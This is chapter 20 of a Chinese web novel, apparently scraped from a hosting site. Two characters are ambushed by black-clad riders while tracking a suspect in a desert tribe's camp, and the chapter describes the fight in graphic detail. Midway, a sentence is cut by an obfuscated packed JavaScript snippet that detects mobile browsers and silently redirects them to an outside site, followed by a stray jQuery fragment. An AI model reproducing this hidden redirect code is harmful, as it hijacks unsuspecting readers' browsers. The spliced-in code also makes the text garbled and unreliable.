20. 第二十章

作品:《我在沙漠亲小猫

    “是他吗?”谢飞琼低声。


    阿萨伽肯定道:“对,是他。”


    牧六大半夜出来做什么?疑问笼罩在几个人的心头。


    不管他要做什么,鬼鬼祟祟地反正不是什么好事。


    谢飞琼小心地跟在他后面,缀得不远不近。


    骊族建在一片不大的绿洲之上,因此帐篷之间挨得比较紧密。这有利于几个人隐藏身形,也让跟踪牧六一事显得更加艰难。


    辛青不知道怎么也跟他们一起来了,还是拿着他那把破扇子、穿着一身扎眼的白色,像逛后花园似的漫不经心地跟踪。


    谢飞琼颇为嫌弃,以防被一锅端,她默默拉着阿萨伽离他远了点。


    尽管已经足够小心,但牧六警惕心极强,稍微一个错眼,他就消失在了一个帐篷之后。


    谢飞琼来不及思考太多,眼下只有牧六这里的线索最为明朗,她必须查清楚火灾的真相,这样才能找到师父的下落!


    她动身追了上去。


    阿萨伽觉得不妥,试图伸手阻拦,但是被谢飞琼灵活地躲了过去。他眉头紧锁,还怕人出了危险,只好也紧跟上去。


    只有辛青站在原地,若无其事地晃了晃扇子:“真是,一对鸳鸯。”


    谢飞琼闪身跟了上去,不料牧六早就失去了踪影,她心里不由得一紧。


    先前太过专注,没料到此处已经是骊族营地的边界之外了,巡逻的守卫离得有些远。


    心下生出不好的预感,下一瞬间,一声极其轻微的破空声传入耳膜!


    谢飞琼敏捷一躲,一把锋利的铁刃擦着脸颊飞了过去!若不是她躲得及时,恐怕此时后脑已被刺穿!


    “小心!”见阿萨伽跟上来,她立刻提醒。


    阿萨伽的实战经验比谢飞琼还要丰富,立即判断出了杀手的位置,手中抓起一块石头,手腕一翻,那石子便直直向杀手的位置飞去!


    石子砸向帐篷一侧的布料,谢飞琼听到了一阵脚步声,立刻抬脚就要追上去!


    阿萨伽一把将人的手腕拉住:“等一下!情况不对劲!”


    谢飞琼凝神去听,却只能听见一阵风声。


    她知道阿萨伽的感官要比其他人都更加敏锐,于是压低声音问:“怎么了?你发现什么了吗?”


    阿萨伽没有回答,表情凝重地侧耳听了许久,突然脸色一变——


    来了另一拨人!


    他连忙拉着谢飞琼向反方向跑去。因为荻族进犯,最近边哨人员增加,若是能跑到下一处边哨处,说不定还能博得一线生机!


    可惜那伙人似乎也知道了他们的意图,一阵纷乱的马蹄声渐入耳膜,谢飞琼奔跑之余抽空回了一下头,终于发现了那群人。


    他们穿着一身黑衣服,在今晚月亮不明朗的情况下显得极为隐蔽,谢飞琼根本看不清他们的脸。


    “他们是谁?”她不禁问。


    阿萨伽没有回头,低声:“可能是荻族人。”


    荻族人怎么会来到这里?刚刚的边哨帐篷为什么是空的?


    答案已经呼之欲出。


    “这是牧六故意的?他想除掉我们?”谢飞琼问出声。


    阿萨伽跑得有些微喘,所幸伤口在谢飞琼之前的“精心照料”下已经有所恢复,让他不至于边跑边出血。


    但是情况依旧不容乐观,毕竟人的双腿是跑不过马的。


    该死。谢飞琼心想,这次是她的错,没料到牧六居然想把他们引到无人处直接除掉!


    “跑不过,那就打吧。”眼见着人要追上来,谢飞琼本来就没恢复好的左脚使不上劲,更是难以逃脱。


    她松开了手,转身迎上那群黑衣人:“咱们去抢他们的马!”


    说完,她竟然向那群飞驰着的黑衣人跑去!


    黑衣人中有人犹豫了,显然是没见过这么不要命的。就是这犹豫的一瞬间给了谢飞琼机会,她看准了方向突然滑跪下来!


    膝盖在地上摩擦,谢飞琼身体向后仰出一个可怕的弧度,几乎是躺在了双脚上,但她手中寒芒乍现,眼睛翻涌着冷意。


    下一秒,她以极其刁钻的角度钻进了高大的骏马身下,不顾骏马的惊慌失措,扬手用力一刺!


    锋利的匕首划开柔软的马腹,几乎是一瞬间,带着腥臭味的马血如爆炸般喷在谢飞琼脸上,让她差点无法呼吸。


    滑行还在继续,马背上的人被惊慌的骏马甩了下来,手中的长刀顺势落在了地上。


    谢飞琼来不及呕吐,随手抹了一把脸,目光雪亮地跑过去,捡起了那把长刀,随后一个高抛:“接着!”


    阿萨伽下意识接过那把长刀,目光与谢飞琼相撞,恍惚之间听见少女大喊:“给我抢一把!”


    谢飞琼非常清楚,阿萨伽在力量方面比她有优势,而自己则更为敏捷。她知道怎样利用才是结果最大化。


    果不其然,阿萨伽拿到了武器之后便直面迎敌,劲瘦的身材爆发出惊人的力量!


    黑衣人似乎被激怒,提着长刀向他冲来,竟是想让他直接被马乱蹄踩死!


    阿萨伽自然不可能束手就擒,侧身躲过马蹄后便挥起长刀,与马背上的黑衣人过招。


    噼里啪啦,金属相撞出火花,短短几秒两人过招数次,阿萨伽皱眉:“你是谁?”


    此人实力不菲,绝不可能是牧六随手找来的杀手。


    黑衣人并不回答,手中的长刀再一次无情向下挥砍!


    谢飞琼在地上左支右吾,只能勉强保证自己不会被击中命门,但根本无法对这群马背上的黑衣人有任何实质性的伤害。


    她大喊一声:“快!”


    阿萨伽眼神一凝,不再与黑衣人继续缠斗,而是向后撤了几步。


    那人不依不饶还要再追,却见阿萨伽几个跨步,竟是直接飞身上马!


    两个人一下贴得极近,黑衣人下意识躲了一下,不料阿萨伽趁此机会猛一拉缰绳!


    马被拽得前蹄朝天,马背几乎垂直于地面,黑衣人试图抓住缰绳,然而阿萨伽根本毫不在乎自己是否会被马甩下来,因此双手持刀,狠狠向下劈砍!


    那人一手握缰绳,另一只手还没来得及格挡,锋利的大刀就将他的脑壳一分为二了。


    阿萨伽不敢耽搁,将人踢下马后又再次勒紧缰绳,手中长刀虎虎生风,愣是将一群人吓得没敢上前。


    他便趁所有人没反应过来,一把捞起地面上的谢飞琼,一只手将人扶到马背上,御马飞驰而去。


    “我、靠……”谢飞琼舒了一口气,狠狠抹了一把脸,血液已经有些凝结干涸。


    “厉害厉害。”她由衷感叹一句,向后看去。那群人接连失去两个伙伴,没有选择继续追赶,而是向来时的方向离开了。


    “不对。”阿萨伽突然开口。


    谢飞琼接上:“你也觉得不对吧,这群人看起来很有实力,像是必


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054698|162523||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    须置我们于死地一样,但是怎么说不追就不追了?”


    阿萨伽摇摇头,说:“不是这个不对。”


    谢飞琼顶着满脑袋的血,回头看他一眼,奇怪道:“那还有哪里不对?”


    阿萨伽看向前方:“牧六的官职不够高,他是没有办法调动边哨的。”


    谢飞琼秒懂:“但是这里的边哨很明显是被临时调走的,生活痕迹还很明显。”


    “老天……”谢飞琼长叹一口气,“我们别是叫人给耍了!”


    阿萨伽从开始到现在,眉毛就没松开过:“有可能。”


    是谁耍了他们?拥有能够调动边哨的权限,想要阻碍他们的行动,还能够拥有一支实力强悍的骑兵?


    “辛青?”谢飞琼喃喃道,目光锁定在不远处那个白色身影。


    阿萨伽没回答。


    两人骑马过去,辛青还站在原来的位置没动。他打了个哈欠:“你们两个去干吗了?人没追到还弄了一身血。”


    他们都没下马,谢飞琼居高临下:“二少主,您怎么没跟着我们?”


    辛青又打了个哈欠:“姑娘,我们先前不是说好了吗?你来探查牧六,我只是来帮忙的。”


    放屁,什么说好了,分明是他不想干活才故意甩开责任!


    谢飞琼眯着眼睛,目光和他对视上,两人谁都没有移开眼,仿佛谁先移开谁就输了。


    阿萨伽率先开口打破僵局:“二哥,你有看到牧六吗?”


    辛青作惊讶状:“没有啊,你们没找到他?”


    他还故意说:“看你们两个一身血,我还以为是你俩太生气,把他杀了呢!”


    这话说得太诛心了,谢飞琼立刻反驳:“怎么会呢二少主,这您就冤枉我们了,我们俩如此正直,是那样的人吗?必然是要将真正的幕后黑手抓出来,然后交由大家审判才是啊。”


    辛青仰头和她对视:“哦?是吗。”


    两人眼神一路火花带闪电,谁也不肯落下风。


    只有全场年龄最小的阿萨伽成熟的默默叹了一口气,低头检查手里的长刀。


    长刀上没有印记。


    这很正常,杀手的刀怎么可能刻着来源?


    可是,阿萨伽心想,那幕后黑手一直想引导他们认为牧六私通荻族,想让他们认为牧六是间谍,那为什么不用一把刻着荻族印记的长刀来杀他们呢?


    他们死了,正好嫁祸给荻族;他们俩没死,抱着对牧六的怀疑肯定也会将矛头指向荻族。


    这是一个稳赚不赔的买卖,那只看不见的手就这样明晃晃地将他的意图摆在眼前:把一切灾祸都归咎于荻族。


    为什么?


    阿萨伽想不明白。


    那双大手隐藏的目的是什么?制造了这一切,是想要引发荻族和骊族之间的矛盾,还是想要除掉牧六?


    一个牧六至于这么大动干戈吗?


    等到回去,守卫发现了狼狈的两个人,此事传进了首领耳朵里。


    第二日,从血腥的噩梦中惊醒的谢飞琼猛地坐起来,鼻尖的腥臭味挥之不去。


    她好像又回到了小时候,全家被灭门的那天。


    她小小一个人躲在柜子后面的暗门中,透过缝隙看到父母亲人惨叫着倒下。


    当时,挥刀的也是一群黑衣人。


    “姑娘,首领请您再去一趟大帐。”


    “三少主已经在那里等着您了。”